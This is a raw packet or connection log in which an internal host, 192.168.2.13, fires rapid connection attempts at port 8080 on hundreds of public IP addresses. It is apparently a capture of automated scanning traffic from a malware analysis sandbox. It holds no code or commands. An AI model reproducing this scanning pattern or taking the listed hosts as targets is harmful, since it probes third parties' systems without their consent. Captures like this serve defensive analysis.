Jan 26, 2025 01:43:29.831454992 CET	45688	8080	192.168.2.13	94.204.123.255
Jan 26, 2025 01:43:29.833782911 CET	47524	8080	192.168.2.13	62.68.98.24
Jan 26, 2025 01:43:29.835894108 CET	58138	8080	192.168.2.13	94.226.17.4
Jan 26, 2025 01:43:29.836329937 CET	8080	45688	94.204.123.255	192.168.2.13
Jan 26, 2025 01:43:29.836400986 CET	45688	8080	192.168.2.13	94.204.123.255
Jan 26, 2025 01:43:29.837232113 CET	36366	8080	192.168.2.13	85.80.91.197
Jan 26, 2025 01:43:29.838663101 CET	52000	8080	192.168.2.13	95.138.137.29
Jan 26, 2025 01:43:29.840795994 CET	46964	8080	192.168.2.13	94.69.227.184
Jan 26, 2025 01:43:29.842796087 CET	43632	8080	192.168.2.13	85.14.229.61
Jan 26, 2025 01:43:29.844786882 CET	55328	8080	192.168.2.13	95.73.167.125
Jan 26, 2025 01:43:29.847204924 CET	42486	8080	192.168.2.13	85.204.209.62
Jan 26, 2025 01:43:29.848881960 CET	60928	8080	192.168.2.13	94.21.149.157
Jan 26, 2025 01:43:29.849880934 CET	8080	55328	95.73.167.125	192.168.2.13
Jan 26, 2025 01:43:29.849937916 CET	55328	8080	192.168.2.13	95.73.167.125
Jan 26, 2025 01:43:29.850874901 CET	35922	8080	192.168.2.13	31.248.200.165
Jan 26, 2025 01:43:29.853946924 CET	57388	8080	192.168.2.13	95.46.197.94
Jan 26, 2025 01:43:29.856077909 CET	43322	8080	192.168.2.13	62.166.81.135
Jan 26, 2025 01:43:29.858283997 CET	33050	8080	192.168.2.13	94.1.203.199
Jan 26, 2025 01:43:29.858819008 CET	8080	57388	95.46.197.94	192.168.2.13
Jan 26, 2025 01:43:29.858860970 CET	57388	8080	192.168.2.13	95.46.197.94
Jan 26, 2025 01:43:29.860697031 CET	58758	8080	192.168.2.13	95.191.89.207
Jan 26, 2025 01:43:29.863071918 CET	41444	8080	192.168.2.13	94.206.63.98
Jan 26, 2025 01:43:29.865777969 CET	58240	8080	192.168.2.13	85.93.98.210
Jan 26, 2025 01:43:29.868266106 CET	56074	8080	192.168.2.13	95.214.235.226
Jan 26, 2025 01:43:29.870592117 CET	8080	58240	85.93.98.210	192.168.2.13
Jan 26, 2025 01:43:29.870642900 CET	58240	8080	192.168.2.13	85.93.98.210
Jan 26, 2025 01:43:29.871028900 CET	55642	8080	192.168.2.13	62.172.53.205
Jan 26, 2025 01:43:29.873286963 CET	45292	8080	192.168.2.13	62.142.130.200
Jan 26, 2025 01:43:29.875686884 CET	42994	8080	192.168.2.13	85.223.206.157
Jan 26, 2025 01:43:29.877212048 CET	53774	8080	192.168.2.13	85.112.37.254
Jan 26, 2025 01:43:29.878071070 CET	8080	45292	62.142.130.200	192.168.2.13
Jan 26, 2025 01:43:29.878113031 CET	45292	8080	192.168.2.13	62.142.130.200
Jan 26, 2025 01:43:29.878356934 CET	33058	8080	192.168.2.13	85.210.72.137
Jan 26, 2025 01:43:29.879441977 CET	44162	8080	192.168.2.13	85.98.247.145
Jan 26, 2025 01:43:29.880306005 CET	46538	8080	192.168.2.13	31.2.165.135
Jan 26, 2025 01:43:29.881479025 CET	43576	8080	192.168.2.13	85.58.191.155
Jan 26, 2025 01:43:29.882761002 CET	51668	8080	192.168.2.13	95.67.56.162
Jan 26, 2025 01:43:29.883810043 CET	40016	8080	192.168.2.13	95.177.164.118
Jan 26, 2025 01:43:29.885445118 CET	43592	8080	192.168.2.13	94.124.186.82
Jan 26, 2025 01:43:29.886821032 CET	52476	8080	192.168.2.13	62.14.76.163
Jan 26, 2025 01:43:29.887911081 CET	55498	8080	192.168.2.13	85.122.29.184
Jan 26, 2025 01:43:29.888623953 CET	8080	40016	95.177.164.118	192.168.2.13
Jan 26, 2025 01:43:29.888663054 CET	40016	8080	192.168.2.13	95.177.164.118
Jan 26, 2025 01:43:29.889305115 CET	59030	8080	192.168.2.13	62.11.137.137
Jan 26, 2025 01:43:29.891279936 CET	42390	8080	192.168.2.13	95.241.218.188
Jan 26, 2025 01:43:29.893198967 CET	53630	8080	192.168.2.13	31.118.72.24
Jan 26, 2025 01:43:29.898010969 CET	8080	53630	31.118.72.24	192.168.2.13
Jan 26, 2025 01:43:29.898102045 CET	53630	8080	192.168.2.13	31.118.72.24
Jan 26, 2025 01:43:29.914243937 CET	52872	8080	192.168.2.13	95.116.124.168
Jan 26, 2025 01:43:29.915982962 CET	46336	8080	192.168.2.13	95.2.28.4
Jan 26, 2025 01:43:29.916882038 CET	60538	8080	192.168.2.13	95.222.120.36
Jan 26, 2025 01:43:29.918530941 CET	58948	8080	192.168.2.13	62.8.157.116
Jan 26, 2025 01:43:29.919394970 CET	8080	52872	95.116.124.168	192.168.2.13
Jan 26, 2025 01:43:29.919457912 CET	52872	8080	192.168.2.13	95.116.124.168
Jan 26, 2025 01:43:29.920334101 CET	60084	8080	192.168.2.13	31.12.228.181
Jan 26, 2025 01:43:29.921128988 CET	8080	46336	95.2.28.4	192.168.2.13
Jan 26, 2025 01:43:29.921161890 CET	46336	8080	192.168.2.13	95.2.28.4
Jan 26, 2025 01:43:29.921833992 CET	58542	8080	192.168.2.13	62.239.195.88
Jan 26, 2025 01:43:29.923305988 CET	39464	8080	192.168.2.13	31.227.75.220
Jan 26, 2025 01:43:29.924591064 CET	52774	8080	192.168.2.13	85.65.84.92
Jan 26, 2025 01:43:29.926498890 CET	51420	8080	192.168.2.13	62.181.31.63
Jan 26, 2025 01:43:29.927872896 CET	51306	8080	192.168.2.13	31.96.60.86
Jan 26, 2025 01:43:29.929389000 CET	55362	8080	192.168.2.13	94.129.192.191
Jan 26, 2025 01:43:29.929925919 CET	8080	52774	85.65.84.92	192.168.2.13
Jan 26, 2025 01:43:29.929966927 CET	52774	8080	192.168.2.13	85.65.84.92
Jan 26, 2025 01:43:29.930835009 CET	57144	8080	192.168.2.13	62.218.241.254
Jan 26, 2025 01:43:29.932895899 CET	47444	8080	192.168.2.13	62.121.59.222
Jan 26, 2025 01:43:29.934220076 CET	36346	8080	192.168.2.13	94.64.17.15
Jan 26, 2025 01:43:29.936244011 CET	56642	8080	192.168.2.13	62.228.45.172
Jan 26, 2025 01:43:29.937618017 CET	8080	47444	62.121.59.222	192.168.2.13
Jan 26, 2025 01:43:29.937680960 CET	47444	8080	192.168.2.13	62.121.59.222
Jan 26, 2025 01:43:29.938878059 CET	41870	8080	192.168.2.13	95.25.160.108
Jan 26, 2025 01:43:29.939824104 CET	35488	8080	192.168.2.13	95.104.250.159
Jan 26, 2025 01:43:29.940630913 CET	51502	8080	192.168.2.13	85.243.69.106
Jan 26, 2025 01:43:29.941945076 CET	37530	8080	192.168.2.13	95.26.2.15
Jan 26, 2025 01:43:29.943521976 CET	50924	8080	192.168.2.13	95.210.161.36
Jan 26, 2025 01:43:29.944801092 CET	40196	8080	192.168.2.13	94.204.11.236
Jan 26, 2025 01:43:29.947638988 CET	42826	8080	192.168.2.13	95.192.55.72
Jan 26, 2025 01:43:29.948487997 CET	8080	50924	95.210.161.36	192.168.2.13
Jan 26, 2025 01:43:29.948493958 CET	51184	8080	192.168.2.13	95.31.184.235
Jan 26, 2025 01:43:29.948543072 CET	50924	8080	192.168.2.13	95.210.161.36
Jan 26, 2025 01:43:29.949718952 CET	56620	8080	192.168.2.13	85.251.61.162
Jan 26, 2025 01:43:29.951833963 CET	38608	8080	192.168.2.13	31.192.133.214
Jan 26, 2025 01:43:29.953145981 CET	36292	8080	192.168.2.13	85.50.3.138
Jan 26, 2025 01:43:29.954943895 CET	34092	8080	192.168.2.13	94.217.35.140
Jan 26, 2025 01:43:29.956696987 CET	8080	38608	31.192.133.214	192.168.2.13
Jan 26, 2025 01:43:29.956738949 CET	38608	8080	192.168.2.13	31.192.133.214
Jan 26, 2025 01:43:29.957248926 CET	49276	8080	192.168.2.13	31.114.77.56
Jan 26, 2025 01:43:29.958290100 CET	40654	8080	192.168.2.13	85.224.96.150
Jan 26, 2025 01:43:29.959847927 CET	54728	8080	192.168.2.13	95.224.186.189
Jan 26, 2025 01:43:29.961826086 CET	48880	8080	192.168.2.13	95.150.174.55
Jan 26, 2025 01:43:29.963115931 CET	34150	8080	192.168.2.13	31.113.74.251
Jan 26, 2025 01:43:29.964932919 CET	51412	8080	192.168.2.13	95.125.247.170
Jan 26, 2025 01:43:29.966375113 CET	46026	8080	192.168.2.13	95.234.19.241
Jan 26, 2025 01:43:29.967909098 CET	50184	8080	192.168.2.13	85.105.229.32
Jan 26, 2025 01:43:29.969291925 CET	47370	8080	192.168.2.13	62.20.141.9
Jan 26, 2025 01:43:29.969753027 CET	8080	51412	95.125.247.170	192.168.2.13
Jan 26, 2025 01:43:29.969830036 CET	51412	8080	192.168.2.13	95.125.247.170
Jan 26, 2025 01:43:29.970318079 CET	58322	8080	192.168.2.13	94.48.123.79
Jan 26, 2025 01:43:29.971158028 CET	37608	8080	192.168.2.13	85.69.54.70
Jan 26, 2025 01:43:29.972898006 CET	49692	8080	192.168.2.13	95.121.127.222
Jan 26, 2025 01:43:29.973867893 CET	54288	8080	192.168.2.13	31.213.124.160
Jan 26, 2025 01:43:29.974765062 CET	59842	8080	192.168.2.13	94.142.138.96
Jan 26, 2025 01:43:29.977075100 CET	59840	8080	192.168.2.13	85.138.52.115
Jan 26, 2025 01:43:29.977679014 CET	8080	49692	95.121.127.222	192.168.2.13
Jan 26, 2025 01:43:29.977762938 CET	49692	8080	192.168.2.13	95.121.127.222
Jan 26, 2025 01:43:29.978893042 CET	51884	8080	192.168.2.13	94.220.13.58
Jan 26, 2025 01:43:29.980375051 CET	57852	8080	192.168.2.13	94.244.236.193
Jan 26, 2025 01:43:29.982856035 CET	35364	8080	192.168.2.13	94.116.147.49
Jan 26, 2025 01:43:29.984611034 CET	49488	8080	192.168.2.13	85.56.94.70
Jan 26, 2025 01:43:29.985785007 CET	47762	8080	192.168.2.13	31.41.111.233
Jan 26, 2025 01:43:29.987436056 CET	40586	8080	192.168.2.13	62.194.101.204
Jan 26, 2025 01:43:29.989394903 CET	8080	49488	85.56.94.70	192.168.2.13
Jan 26, 2025 01:43:29.989435911 CET	49488	8080	192.168.2.13	85.56.94.70
Jan 26, 2025 01:43:29.989485025 CET	42500	8080	192.168.2.13	85.199.235.142
Jan 26, 2025 01:43:29.990947008 CET	36158	8080	192.168.2.13	85.249.177.45
Jan 26, 2025 01:43:29.992470026 CET	33946	8080	192.168.2.13	95.67.120.208
Jan 26, 2025 01:43:29.995455027 CET	45206	8080	192.168.2.13	85.84.236.254
Jan 26, 2025 01:43:29.997401953 CET	8080	33946	95.67.120.208	192.168.2.13
Jan 26, 2025 01:43:29.997437000 CET	33946	8080	192.168.2.13	95.67.120.208
Jan 26, 2025 01:43:29.997482061 CET	40004	8080	192.168.2.13	62.240.92.77
Jan 26, 2025 01:43:29.999212980 CET	51210	8080	192.168.2.13	85.170.100.249
Jan 26, 2025 01:43:30.000839949 CET	35660	8080	192.168.2.13	94.45.209.46
Jan 26, 2025 01:43:30.002301931 CET	38092	8080	192.168.2.13	95.105.105.34
Jan 26, 2025 01:43:30.004683018 CET	33954	8080	192.168.2.13	94.202.11.67
Jan 26, 2025 01:43:30.007857084 CET	58204	8080	192.168.2.13	31.211.225.133
Jan 26, 2025 01:43:30.009066105 CET	42318	8080	192.168.2.13	95.64.182.236
Jan 26, 2025 01:43:30.009763002 CET	8080	33954	94.202.11.67	192.168.2.13
Jan 26, 2025 01:43:30.009805918 CET	33954	8080	192.168.2.13	94.202.11.67
Jan 26, 2025 01:43:30.011365891 CET	33218	8080	192.168.2.13	31.89.122.105
Jan 26, 2025 01:43:30.015310049 CET	55340	8080	192.168.2.13	31.170.144.230
Jan 26, 2025 01:43:30.016290903 CET	8080	33218	31.89.122.105	192.168.2.13
Jan 26, 2025 01:43:30.016349077 CET	33218	8080	192.168.2.13	31.89.122.105
Jan 26, 2025 01:43:30.016906023 CET	46810	8080	192.168.2.13	31.194.60.141
Jan 26, 2025 01:43:30.019769907 CET	59346	8080	192.168.2.13	94.98.98.234
Jan 26, 2025 01:43:30.021631002 CET	49368	8080	192.168.2.13	62.18.79.42
Jan 26, 2025 01:43:30.046096087 CET	49452	8080	192.168.2.13	94.36.100.207
Jan 26, 2025 01:43:30.047574997 CET	44200	8080	192.168.2.13	62.98.18.63
Jan 26, 2025 01:43:30.049367905 CET	54172	8080	192.168.2.13	31.195.142.132
Jan 26, 2025 01:43:30.050843000 CET	36206	8080	192.168.2.13	85.0.74.247
Jan 26, 2025 01:43:30.051147938 CET	8080	49452	94.36.100.207	192.168.2.13
Jan 26, 2025 01:43:30.051186085 CET	49452	8080	192.168.2.13	94.36.100.207
Jan 26, 2025 01:43:30.052519083 CET	8080	44200	62.98.18.63	192.168.2.13
Jan 26, 2025 01:43:30.052568913 CET	44200	8080	192.168.2.13	62.98.18.63
Jan 26, 2025 01:43:30.053431988 CET	47070	8080	192.168.2.13	95.159.17.131
Jan 26, 2025 01:43:30.054349899 CET	8080	54172	31.195.142.132	192.168.2.13
Jan 26, 2025 01:43:30.054389000 CET	54172	8080	192.168.2.13	31.195.142.132
Jan 26, 2025 01:43:30.055464029 CET	44492	8080	192.168.2.13	62.89.114.122
Jan 26, 2025 01:43:30.058120966 CET	55052	8080	192.168.2.13	95.146.179.177
Jan 26, 2025 01:43:30.058429956 CET	8080	47070	95.159.17.131	192.168.2.13
Jan 26, 2025 01:43:30.058515072 CET	47070	8080	192.168.2.13	95.159.17.131
Jan 26, 2025 01:43:30.059441090 CET	49224	8080	192.168.2.13	62.127.45.209
Jan 26, 2025 01:43:30.061115980 CET	44956	8080	192.168.2.13	94.188.252.99
Jan 26, 2025 01:43:30.063241959 CET	47090	8080	192.168.2.13	94.79.168.90
Jan 26, 2025 01:43:30.064501047 CET	46116	8080	192.168.2.13	94.110.195.238
Jan 26, 2025 01:43:30.066394091 CET	59140	8080	192.168.2.13	62.244.9.117
Jan 26, 2025 01:43:30.068010092 CET	46902	8080	192.168.2.13	62.123.146.3
Jan 26, 2025 01:43:30.069276094 CET	33504	8080	192.168.2.13	85.153.30.122
Jan 26, 2025 01:43:30.069521904 CET	8080	46116	94.110.195.238	192.168.2.13
Jan 26, 2025 01:43:30.069564104 CET	46116	8080	192.168.2.13	94.110.195.238
Jan 26, 2025 01:43:30.070584059 CET	60904	8080	192.168.2.13	62.245.146.77
Jan 26, 2025 01:43:30.073163033 CET	41888	8080	192.168.2.13	85.58.13.188
Jan 26, 2025 01:43:30.074707985 CET	60338	8080	192.168.2.13	94.231.127.178
Jan 26, 2025 01:43:30.075968981 CET	55640	8080	192.168.2.13	95.152.167.58
Jan 26, 2025 01:43:30.077418089 CET	55660	8080	192.168.2.13	31.228.202.44
Jan 26, 2025 01:43:30.078368902 CET	8080	41888	85.58.13.188	192.168.2.13
Jan 26, 2025 01:43:30.078408957 CET	41888	8080	192.168.2.13	85.58.13.188
Jan 26, 2025 01:43:30.078778028 CET	41492	8080	192.168.2.13	31.225.10.114
Jan 26, 2025 01:43:30.080223083 CET	39198	8080	192.168.2.13	31.16.46.172
Jan 26, 2025 01:43:30.081566095 CET	37672	8080	192.168.2.13	85.116.128.104
Jan 26, 2025 01:43:30.083436966 CET	41234	8080	192.168.2.13	94.226.196.207
Jan 26, 2025 01:43:30.084804058 CET	41358	8080	192.168.2.13	95.9.13.221
Jan 26, 2025 01:43:30.086349964 CET	56902	8080	192.168.2.13	62.98.11.50
Jan 26, 2025 01:43:30.088190079 CET	60072	8080	192.168.2.13	31.154.99.22
Jan 26, 2025 01:43:30.089335918 CET	8080	41234	94.226.196.207	192.168.2.13
Jan 26, 2025 01:43:30.089379072 CET	41234	8080	192.168.2.13	94.226.196.207
Jan 26, 2025 01:43:30.090075970 CET	57846	8080	192.168.2.13	85.38.220.187
Jan 26, 2025 01:43:30.092011929 CET	49406	8080	192.168.2.13	94.133.95.115
Jan 26, 2025 01:43:30.093569994 CET	35680	8080	192.168.2.13	85.252.123.41
Jan 26, 2025 01:43:30.095403910 CET	56806	8080	192.168.2.13	31.121.97.24
Jan 26, 2025 01:43:30.096846104 CET	49260	8080	192.168.2.13	95.126.24.147
Jan 26, 2025 01:43:30.097548962 CET	8080	49406	94.133.95.115	192.168.2.13
Jan 26, 2025 01:43:30.097613096 CET	49406	8080	192.168.2.13	94.133.95.115
Jan 26, 2025 01:43:30.098089933 CET	39458	8080	192.168.2.13	62.35.82.33
Jan 26, 2025 01:43:30.099172115 CET	57818	8080	192.168.2.13	95.122.16.230
Jan 26, 2025 01:43:30.100063086 CET	35710	8080	192.168.2.13	62.138.209.37
Jan 26, 2025 01:43:30.102194071 CET	55924	8080	192.168.2.13	94.207.102.137
Jan 26, 2025 01:43:30.104202986 CET	40104	8080	192.168.2.13	62.217.218.183
Jan 26, 2025 01:43:30.107266903 CET	34912	8080	192.168.2.13	95.163.59.146
Jan 26, 2025 01:43:30.108640909 CET	35362	8080	192.168.2.13	85.13.203.241
Jan 26, 2025 01:43:30.109142065 CET	8080	40104	62.217.218.183	192.168.2.13
Jan 26, 2025 01:43:30.109200954 CET	40104	8080	192.168.2.13	62.217.218.183
Jan 26, 2025 01:43:30.109843969 CET	58042	8080	192.168.2.13	94.73.72.116
Jan 26, 2025 01:43:30.111588001 CET	59930	8080	192.168.2.13	62.80.103.35
Jan 26, 2025 01:43:30.113162041 CET	32924	8080	192.168.2.13	95.246.140.82
Jan 26, 2025 01:43:30.114298105 CET	56348	8080	192.168.2.13	95.112.56.24
Jan 26, 2025 01:43:30.115540981 CET	43878	8080	192.168.2.13	85.223.18.190
Jan 26, 2025 01:43:30.116662979 CET	8080	59930	62.80.103.35	192.168.2.13
Jan 26, 2025 01:43:30.116709948 CET	59930	8080	192.168.2.13	62.80.103.35
Jan 26, 2025 01:43:30.119441986 CET	38580	8080	192.168.2.13	85.230.219.225
Jan 26, 2025 01:43:30.121643066 CET	34984	8080	192.168.2.13	62.243.127.117
Jan 26, 2025 01:43:30.123558044 CET	53682	8080	192.168.2.13	95.248.89.70
Jan 26, 2025 01:43:30.124644995 CET	52204	8080	192.168.2.13	85.196.0.104
Jan 26, 2025 01:43:30.125859022 CET	49504	8080	192.168.2.13	62.7.233.19
Jan 26, 2025 01:43:30.128292084 CET	48912	8080	192.168.2.13	94.80.194.173
Jan 26, 2025 01:43:30.128648043 CET	8080	53682	95.248.89.70	192.168.2.13
Jan 26, 2025 01:43:30.128691912 CET	53682	8080	192.168.2.13	95.248.89.70
Jan 26, 2025 01:43:30.132303953 CET	56176	8080	192.168.2.13	95.112.168.152
Jan 26, 2025 01:43:30.134501934 CET	51782	8080	192.168.2.13	85.194.71.78
Jan 26, 2025 01:43:30.136066914 CET	47408	8080	192.168.2.13	94.232.154.78
Jan 26, 2025 01:43:30.137151957 CET	8080	56176	95.112.168.152	192.168.2.13
Jan 26, 2025 01:43:30.137227058 CET	56176	8080	192.168.2.13	95.112.168.152
Jan 26, 2025 01:43:30.137610912 CET	52258	8080	192.168.2.13	31.60.205.171
Jan 26, 2025 01:43:30.139476061 CET	42008	8080	192.168.2.13	62.76.155.0
Jan 26, 2025 01:43:30.141827106 CET	55196	8080	192.168.2.13	94.203.117.116
Jan 26, 2025 01:43:30.143043995 CET	56674	8080	192.168.2.13	85.119.6.144
Jan 26, 2025 01:43:30.145854950 CET	48008	8080	192.168.2.13	31.173.200.138
Jan 26, 2025 01:43:30.149050951 CET	48842	8080	192.168.2.13	85.167.148.117
Jan 26, 2025 01:43:30.150830984 CET	8080	48008	31.173.200.138	192.168.2.13
Jan 26, 2025 01:43:30.150882959 CET	48008	8080	192.168.2.13	31.173.200.138
Jan 26, 2025 01:43:30.152060032 CET	36744	8080	192.168.2.13	62.244.248.253
Jan 26, 2025 01:43:30.153429985 CET	56492	8080	192.168.2.13	95.19.102.77
Jan 26, 2025 01:43:30.154937029 CET	40716	8080	192.168.2.13	62.254.182.25
Jan 26, 2025 01:43:30.156234980 CET	60374	8080	192.168.2.13	94.59.80.105
Jan 26, 2025 01:43:30.157006025 CET	8080	36744	62.244.248.253	192.168.2.13
Jan 26, 2025 01:43:30.157042027 CET	36744	8080	192.168.2.13	62.244.248.253
Jan 26, 2025 01:43:30.157458067 CET	60686	8080	192.168.2.13	94.104.231.153
Jan 26, 2025 01:43:30.159394026 CET	43108	8080	192.168.2.13	62.48.242.250
Jan 26, 2025 01:43:30.161325932 CET	43836	8080	192.168.2.13	31.162.29.39
Jan 26, 2025 01:43:30.162688017 CET	44380	8080	192.168.2.13	85.132.99.107
Jan 26, 2025 01:43:30.164103031 CET	53914	8080	192.168.2.13	31.163.144.52
Jan 26, 2025 01:43:30.166907072 CET	42628	8080	192.168.2.13	94.69.195.78
Jan 26, 2025 01:43:30.169173002 CET	44462	8080	192.168.2.13	85.157.19.184
Jan 26, 2025 01:43:30.170185089 CET	8080	53914	31.163.144.52	192.168.2.13
Jan 26, 2025 01:43:30.170239925 CET	53914	8080	192.168.2.13	31.163.144.52
Jan 26, 2025 01:43:30.170999050 CET	59642	8080	192.168.2.13	31.234.2.55
Jan 26, 2025 01:43:30.172867060 CET	60460	8080	192.168.2.13	95.177.209.76
Jan 26, 2025 01:43:30.174702883 CET	45024	8080	192.168.2.13	62.154.231.31
Jan 26, 2025 01:43:30.176728964 CET	43280	8080	192.168.2.13	31.138.213.84
Jan 26, 2025 01:43:30.177668095 CET	8080	60460	95.177.209.76	192.168.2.13
Jan 26, 2025 01:43:30.177716970 CET	60460	8080	192.168.2.13	95.177.209.76
Jan 26, 2025 01:43:30.178905010 CET	47652	8080	192.168.2.13	62.211.36.178
Jan 26, 2025 01:43:30.181763887 CET	58952	8080	192.168.2.13	62.7.184.174
Jan 26, 2025 01:43:30.183757067 CET	56908	8080	192.168.2.13	95.180.145.48
Jan 26, 2025 01:43:30.185309887 CET	51818	8080	192.168.2.13	31.249.47.242
Jan 26, 2025 01:43:30.187614918 CET	45360	8080	192.168.2.13	94.250.174.201
Jan 26, 2025 01:43:30.188668013 CET	8080	56908	95.180.145.48	192.168.2.13
Jan 26, 2025 01:43:30.188726902 CET	56908	8080	192.168.2.13	95.180.145.48
Jan 26, 2025 01:43:30.189913988 CET	36434	8080	192.168.2.13	62.233.241.140
Jan 26, 2025 01:43:30.193834066 CET	60476	8080	192.168.2.13	31.178.80.236
Jan 26, 2025 01:43:30.196650982 CET	41678	8080	192.168.2.13	85.18.173.235
Jan 26, 2025 01:43:30.198402882 CET	42452	8080	192.168.2.13	85.169.156.134
Jan 26, 2025 01:43:30.198700905 CET	8080	60476	31.178.80.236	192.168.2.13
Jan 26, 2025 01:43:30.198770046 CET	60476	8080	192.168.2.13	31.178.80.236
Jan 26, 2025 01:43:30.200156927 CET	52018	8080	192.168.2.13	85.116.48.161
Jan 26, 2025 01:43:30.202548981 CET	40906	8080	192.168.2.13	85.150.61.215
Jan 26, 2025 01:43:30.204647064 CET	35870	8080	192.168.2.13	62.78.216.122
Jan 26, 2025 01:43:30.207407951 CET	42818	8080	192.168.2.13	62.11.6.95
Jan 26, 2025 01:43:30.209178925 CET	38244	8080	192.168.2.13	31.132.135.236
Jan 26, 2025 01:43:30.209425926 CET	8080	35870	62.78.216.122	192.168.2.13
Jan 26, 2025 01:43:30.209472895 CET	35870	8080	192.168.2.13	62.78.216.122
Jan 26, 2025 01:43:30.210860968 CET	35982	8080	192.168.2.13	94.182.66.80
Jan 26, 2025 01:43:30.212244987 CET	59700	8080	192.168.2.13	85.28.44.59
Jan 26, 2025 01:43:30.215477943 CET	49148	8080	192.168.2.13	31.163.96.51
Jan 26, 2025 01:43:30.216521978 CET	43952	8080	192.168.2.13	95.134.172.91
Jan 26, 2025 01:43:30.217154980 CET	8080	59700	85.28.44.59	192.168.2.13
Jan 26, 2025 01:43:30.217223883 CET	59700	8080	192.168.2.13	85.28.44.59
Jan 26, 2025 01:43:30.218061924 CET	37724	8080	192.168.2.13	85.132.57.246
Jan 26, 2025 01:43:30.220489025 CET	47918	8080	192.168.2.13	94.236.173.101
Jan 26, 2025 01:43:30.227679968 CET	38242	8080	192.168.2.13	95.21.145.118
Jan 26, 2025 01:43:30.229931116 CET	34318	8080	192.168.2.13	94.90.16.147
Jan 26, 2025 01:43:30.231607914 CET	39938	8080	192.168.2.13	62.86.132.58
Jan 26, 2025 01:43:30.232430935 CET	8080	38242	95.21.145.118	192.168.2.13
Jan 26, 2025 01:43:30.232562065 CET	38242	8080	192.168.2.13	95.21.145.118
Jan 26, 2025 01:43:30.233091116 CET	36024	8080	192.168.2.13	31.143.117.35
Jan 26, 2025 01:43:30.235384941 CET	39644	8080	192.168.2.13	31.96.165.91
Jan 26, 2025 01:43:30.236326933 CET	8080	39938	62.86.132.58	192.168.2.13
Jan 26, 2025 01:43:30.236377954 CET	39938	8080	192.168.2.13	62.86.132.58
Jan 26, 2025 01:43:30.237173080 CET	37618	8080	192.168.2.13	94.205.145.87
Jan 26, 2025 01:43:30.239146948 CET	58990	8080	192.168.2.13	85.127.235.254
Jan 26, 2025 01:43:30.240699053 CET	52556	8080	192.168.2.13	85.180.172.41
Jan 26, 2025 01:43:30.242990971 CET	54102	8080	192.168.2.13	62.187.126.23
Jan 26, 2025 01:43:30.245675087 CET	59792	8080	192.168.2.13	94.73.236.43
Jan 26, 2025 01:43:30.247148037 CET	60750	8080	192.168.2.13	31.252.193.204
Jan 26, 2025 01:43:30.250629902 CET	8080	59792	94.73.236.43	192.168.2.13
Jan 26, 2025 01:43:30.250683069 CET	59792	8080	192.168.2.13	94.73.236.43
Jan 26, 2025 01:43:30.250742912 CET	38974	8080	192.168.2.13	95.19.52.194
Jan 26, 2025 01:43:30.252558947 CET	43536	8080	192.168.2.13	31.45.234.76
Jan 26, 2025 01:43:30.254591942 CET	52860	8080	192.168.2.13	94.235.10.122
Jan 26, 2025 01:43:30.256073952 CET	47566	8080	192.168.2.13	85.206.77.107
Jan 26, 2025 01:43:30.256074905 CET	47566	8080	192.168.2.13	62.51.39.155
Jan 26, 2025 01:43:30.256083012 CET	47566	8080	192.168.2.13	94.235.73.131
Jan 26, 2025 01:43:30.256083965 CET	47566	8080	192.168.2.13	95.146.112.124
Jan 26, 2025 01:43:30.256093979 CET	47566	8080	192.168.2.13	31.121.108.195
Jan 26, 2025 01:43:30.256095886 CET	47566	8080	192.168.2.13	62.64.186.43
Jan 26, 2025 01:43:30.256098986 CET	47566	8080	192.168.2.13	31.23.101.243
Jan 26, 2025 01:43:30.256100893 CET	47566	8080	192.168.2.13	85.56.12.73
Jan 26, 2025 01:43:30.256107092 CET	47566	8080	192.168.2.13	95.3.147.15
Jan 26, 2025 01:43:30.256115913 CET	47566	8080	192.168.2.13	62.0.19.153
Jan 26, 2025 01:43:30.256117105 CET	47566	8080	192.168.2.13	94.229.199.188
Jan 26, 2025 01:43:30.256117105 CET	47566	8080	192.168.2.13	62.207.56.233
Jan 26, 2025 01:43:30.256124973 CET	47566	8080	192.168.2.13	94.94.152.109
Jan 26, 2025 01:43:30.256124973 CET	47566	8080	192.168.2.13	62.226.192.56
Jan 26, 2025 01:43:30.256124973 CET	47566	8080	192.168.2.13	94.196.34.78
Jan 26, 2025 01:43:30.256125927 CET	47566	8080	192.168.2.13	31.201.86.246
Jan 26, 2025 01:43:30.256131887 CET	47566	8080	192.168.2.13	62.42.137.167
Jan 26, 2025 01:43:30.256136894 CET	47566	8080	192.168.2.13	85.18.5.208
Jan 26, 2025 01:43:30.256140947 CET	47566	8080	192.168.2.13	62.58.165.172
Jan 26, 2025 01:43:30.256145000 CET	47566	8080	192.168.2.13	95.33.163.69
Jan 26, 2025 01:43:30.256155014 CET	47566	8080	192.168.2.13	62.41.114.157
Jan 26, 2025 01:43:30.256156921 CET	47566	8080	192.168.2.13	94.5.205.167
Jan 26, 2025 01:43:30.256161928 CET	47566	8080	192.168.2.13	31.56.204.78
Jan 26, 2025 01:43:30.256161928 CET	47566	8080	192.168.2.13	31.203.188.186
Jan 26, 2025 01:43:30.256161928 CET	47566	8080	192.168.2.13	31.44.47.2
Jan 26, 2025 01:43:30.256161928 CET	47566	8080	192.168.2.13	31.122.252.119
Jan 26, 2025 01:43:30.256161928 CET	47566	8080	192.168.2.13	94.152.50.154
Jan 26, 2025 01:43:30.256165981 CET	47566	8080	192.168.2.13	95.165.70.163
Jan 26, 2025 01:43:30.256166935 CET	47566	8080	192.168.2.13	62.240.90.3
Jan 26, 2025 01:43:30.256167889 CET	47566	8080	192.168.2.13	31.68.76.236
Jan 26, 2025 01:43:30.256172895 CET	47566	8080	192.168.2.13	85.231.3.59
Jan 26, 2025 01:43:30.256175041 CET	47566	8080	192.168.2.13	85.44.175.232
Jan 26, 2025 01:43:30.256175041 CET	47566	8080	192.168.2.13	31.52.255.202
Jan 26, 2025 01:43:30.256180048 CET	47566	8080	192.168.2.13	85.117.127.232
Jan 26, 2025 01:43:30.256186962 CET	47566	8080	192.168.2.13	94.212.107.123
Jan 26, 2025 01:43:30.256187916 CET	47566	8080	192.168.2.13	85.4.191.51
Jan 26, 2025 01:43:30.256195068 CET	47566	8080	192.168.2.13	85.87.115.2
Jan 26, 2025 01:43:30.256201982 CET	47566	8080	192.168.2.13	62.232.190.206
Jan 26, 2025 01:43:30.256203890 CET	47566	8080	192.168.2.13	31.72.161.235
Jan 26, 2025 01:43:30.256206989 CET	47566	8080	192.168.2.13	95.129.115.55
Jan 26, 2025 01:43:30.256211042 CET	47566	8080	192.168.2.13	85.161.220.109
Jan 26, 2025 01:43:30.256215096 CET	47566	8080	192.168.2.13	62.95.151.56
Jan 26, 2025 01:43:30.256226063 CET	47566	8080	192.168.2.13	94.32.64.20
Jan 26, 2025 01:43:30.256227016 CET	47566	8080	192.168.2.13	85.43.199.202
